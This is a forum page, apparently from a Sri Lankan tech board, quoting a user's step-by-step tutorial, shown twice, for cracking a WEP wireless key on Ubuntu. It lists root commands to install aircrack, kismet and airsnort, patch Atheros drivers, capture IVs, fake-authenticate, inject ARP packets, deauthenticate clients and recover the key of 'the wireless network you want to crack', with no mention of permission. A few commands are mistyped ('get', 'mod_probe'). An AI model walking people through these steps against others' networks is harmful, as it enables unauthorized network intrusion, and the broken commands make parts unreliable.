Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
Colombo
RidhMathraa ’26 🎶✨
Tmadhusanka
Updated:
Wednesday at 11:58 PM
Ad icon
Colombo
PXN V10 Pro Direct Drive Racing Wheel (Under Warranty)
Abdur Rahman
Updated:
Wednesday at 10:23 PM
Ad icon
USDT ණය සේවාව - USDT Loan Service
පුරවැසියා
Updated:
Wednesday at 4:54 PM
Ad icon
🎮 INDIAN PSN GIFT CARDS AVAILABLE NOW! 🎮
madukaperera
Updated:
Tuesday at 12:57 PM
🚀 Google AI PRO – 18 Months | Rs. 850 Only
lkkolla
Updated:
Monday at 4:56 PM
Electronics
Vehicles
Property
Search
Reply to thread
Forums
Computers & Internet
News & Discussion
LINUX ගැන
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="help4u" data-source="post: 9186111" data-attributes="member: 326991"><p>After the article on cracking a WEP key using a MAC, many users have requested similar *testing* of their security procedures using a popular LINUX distro and WinXP. This article delves into cracking a WEP key and a WEP key force using the most popular and user friendly LINUX distro out there : UBUNTU. All you need is a laptop with a wireless card and a copy of Ubuntu Linux. NOTE: Most of the Intel wireless adapters that come in built in most laptops these days should work. </p><p>Ubuntu (IPA pronunciation: /u’buntu/) is a Linux distribution offering an operating system predominantly targeted at desktop computers. Based on Debian GNU/Linux, Ubuntu concentrates on usability, freedom from restriction of use, regular releases, and ease of installation. Ubuntu is sponsored by Canonical Ltd., by South African Mark Shuttleworth; the name of the distribution comes from the African concept of ubuntu (roughly, “humanity towards others”).</p><p>First step, obviously, is to install Ubuntu. Just boot from the CD and follow the directions. If you have problems or need help installing UBUNTU, follow this guide straight from Ubuntu. Once you have the OS installed and configured/customized to your liking we can proceed with the first step. I’d suggest performing the following steps in order, otherwise you may have problems.</p><p>Next, install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your machine is able to establish a connection to the Internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following:</p><p>sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup</p><p>sudo gedit /etc/apt/sources.list</p><p>While in the editor, replace everything with:</p><p>## Add comments (##) in front of any line to remove it from being checked.</p><p>## Use the following sources.list at your own risk.</p><p>deb <a href="http://archive.ubuntu.com/ubuntu" target="_blank">http://archive.ubuntu.com/ubuntu</a> dapper main restricted universe multiverse</p><p>deb-src <a href="http://archive.ubuntu.com/ubuntu" target="_blank">http://archive.ubuntu.com/ubuntu</a> dapper main restricted universe multiverse</p><p>## MAJOR BUG FIX UPDATES produced after the final release</p><p>deb <a href="http://archive.ubuntu.com/ubuntu" target="_blank">http://archive.ubuntu.com/ubuntu</a> dapper-updates main restricted universe multiverse</p><p>deb-src <a href="http://archive.ubuntu.com/ubuntu" target="_blank">http://archive.ubuntu.com/ubuntu</a> dapper-updates main restricted universe multiverse</p><p>## UBUNTU SECURITY UPDATES</p><p>deb <a href="http://security.ubuntu.com/ubuntu" target="_blank">http://security.ubuntu.com/ubuntu</a> dapper-security main restricted universe multiverse</p><p>deb-src <a href="http://security.ubuntu.com/ubuntu" target="_blank">http://security.ubuntu.com/ubuntu</a> dapper-security main restricted universe multiverse</p><p>## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)</p><p>deb <a href="http://archive.ubuntu.com/ubuntu" target="_blank">http://archive.ubuntu.com/ubuntu</a> dapper-backports main restricted universe multiverse</p><p>deb-src <a href="http://archive.ubuntu.com/ubuntu" target="_blank">http://archive.ubuntu.com/ubuntu</a> dapper-backports main restricted universe multiverse</p><p>## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)</p><p>deb <a href="http://packages.freecontrib.org/ubuntu/plf" target="_blank">http://packages.freecontrib.org/ubuntu/plf</a> dapper free non-free</p><p>deb-src <a href="http://packages.freecontrib.org/ubuntu/plf" target="_blank">http://packages.freecontrib.org/ubuntu/plf</a> dapper free non-free</p><p>Save the file and exit the text editor. Next type the command:</p><p>sudo apt-get update</p><p>Now we have to install the packages we’ll need later on:</p><p>sudo apt-get install build-essential</p><p>sudo apt-get install aircrack</p><p>sudo apt-get install kismet</p><p>sudo apt-get install airsnort</p><p>sudo apt-get install linux-source</p><p>sudo apt-get install linux-headers</p><p>sudo apt-get install sharutils</p><p>Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.</p><p>This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a Google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.</p><p>Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself. So. first, let’s get the patch and then get the corresponding version of the driver</p><p>sudo -i</p><p>cd /usr/src</p><p>get <a href="http://patches.aircrack-ng.org/madwifi-ng-r1679.patch" target="_blank">http://patches.aircrack-ng.org/madwifi-ng-r1679.patch</a></p><p>wget <a href="http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz" target="_blank">http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz</a></p><p>ifconfig ath0 down</p><p>rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal</p><p>find /lib/modules -name ‘ath*’ -exec rm -v {} \;</p><p>find /lib/modules -name ‘wlan*’ -exec rm -v {} \;</p><p># tar zxvf madwifi-ng-r1679-20060707.tar.gz</p><p># cd madwifi-ng-r1679-20060707/</p><p># patch -Np1 -i ../madwifi-ng-r1679.patch</p><p># make</p><p># make install</p><p># mod_probe ath_pci</p><p>NOTE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases:</p><p>However, during Madwifi Installation I got this warning:</p><p>Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o</p><p>This warning can be IGNORED.</p><p>When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.</p><p>I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!</p><p>Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.</p><p>If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.</p><p>sudo gedit /etc/kismet/kismet.conf</p><p>Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.</p><p>Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.</p><p>sudo airmon start ath0</p><p>sudo kismet</p><p>Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.</p><p>Next, run airodump.</p><p>sudo airodump ath0 filename channel# 1</p><p>The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.</p><p>Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.</p><p>sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0</p><p>This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.</p><p>Next we want to start injecting packets.</p><p>sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0</p><p>At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:</p><p>sudo aireplay -0 ath0 -a BSSID ath0</p><p>Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.</p><p>sudo aircrack filename.ivs</p><p>After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.</p><p></p><p><strong><span style="color: Red">Work Fine..I tested It...</span></strong></p></blockquote><p></p>
[QUOTE="help4u, post: 9186111, member: 326991"] After the article on cracking a WEP key using a MAC, many users have requested similar *testing* of their security procedures using a popular LINUX distro and WinXP. This article delves into cracking a WEP key and a WEP key force using the most popular and user friendly LINUX distro out there : UBUNTU. All you need is a laptop with a wireless card and a copy of Ubuntu Linux. NOTE: Most of the Intel wireless adapters that come in built in most laptops these days should work. Ubuntu (IPA pronunciation: /u’buntu/) is a Linux distribution offering an operating system predominantly targeted at desktop computers. Based on Debian GNU/Linux, Ubuntu concentrates on usability, freedom from restriction of use, regular releases, and ease of installation. Ubuntu is sponsored by Canonical Ltd., by South African Mark Shuttleworth; the name of the distribution comes from the African concept of ubuntu (roughly, “humanity towards others”). First step, obviously, is to install Ubuntu. Just boot from the CD and follow the directions. If you have problems or need help installing UBUNTU, follow this guide straight from Ubuntu. Once you have the OS installed and configured/customized to your liking we can proceed with the first step. I’d suggest performing the following steps in order, otherwise you may have problems. Next, install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your machine is able to establish a connection to the Internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following: sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup sudo gedit /etc/apt/sources.list While in the editor, replace everything with: ## Add comments (##) in front of any line to remove it from being checked. ## Use the following sources.list at your own risk. deb [url]http://archive.ubuntu.com/ubuntu[/url] dapper main restricted universe multiverse deb-src [url]http://archive.ubuntu.com/ubuntu[/url] dapper main restricted universe multiverse ## MAJOR BUG FIX UPDATES produced after the final release deb [url]http://archive.ubuntu.com/ubuntu[/url] dapper-updates main restricted universe multiverse deb-src [url]http://archive.ubuntu.com/ubuntu[/url] dapper-updates main restricted universe multiverse ## UBUNTU SECURITY UPDATES deb [url]http://security.ubuntu.com/ubuntu[/url] dapper-security main restricted universe multiverse deb-src [url]http://security.ubuntu.com/ubuntu[/url] dapper-security main restricted universe multiverse ## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.) deb [url]http://archive.ubuntu.com/ubuntu[/url] dapper-backports main restricted universe multiverse deb-src [url]http://archive.ubuntu.com/ubuntu[/url] dapper-backports main restricted universe multiverse ## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.) deb [url]http://packages.freecontrib.org/ubuntu/plf[/url] dapper free non-free deb-src [url]http://packages.freecontrib.org/ubuntu/plf[/url] dapper free non-free Save the file and exit the text editor. Next type the command: sudo apt-get update Now we have to install the packages we’ll need later on: sudo apt-get install build-essential sudo apt-get install aircrack sudo apt-get install kismet sudo apt-get install airsnort sudo apt-get install linux-source sudo apt-get install linux-headers sudo apt-get install sharutils Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers. This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a Google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal. Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself. So. first, let’s get the patch and then get the corresponding version of the driver sudo -i cd /usr/src get [url]http://patches.aircrack-ng.org/madwifi-ng-r1679.patch[/url] wget [url]http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz[/url] ifconfig ath0 down rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal find /lib/modules -name ‘ath*’ -exec rm -v {} \; find /lib/modules -name ‘wlan*’ -exec rm -v {} \; # tar zxvf madwifi-ng-r1679-20060707.tar.gz # cd madwifi-ng-r1679-20060707/ # patch -Np1 -i ../madwifi-ng-r1679.patch # make # make install # mod_probe ath_pci NOTE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases: However, during Madwifi Installation I got this warning: Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o This warning can be IGNORED. When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”. I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works! Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules. If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line. sudo gedit /etc/kismet/kismet.conf Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card. Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet. sudo airmon start ath0 sudo kismet Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C. Next, run airodump. sudo airodump ath0 filename channel# 1 The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs. Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets. sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0 This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’. Next we want to start injecting packets. sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0 At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command: sudo aireplay -0 ath0 -a BSSID ath0 Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack. sudo aircrack filename.ivs After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets. [B][COLOR="Red"]Work Fine..I tested It...[/COLOR][/B] [/QUOTE]
Insert quotes…
Verification
Dahaya deken beduwama keeyada?
Post reply
Top
Bottom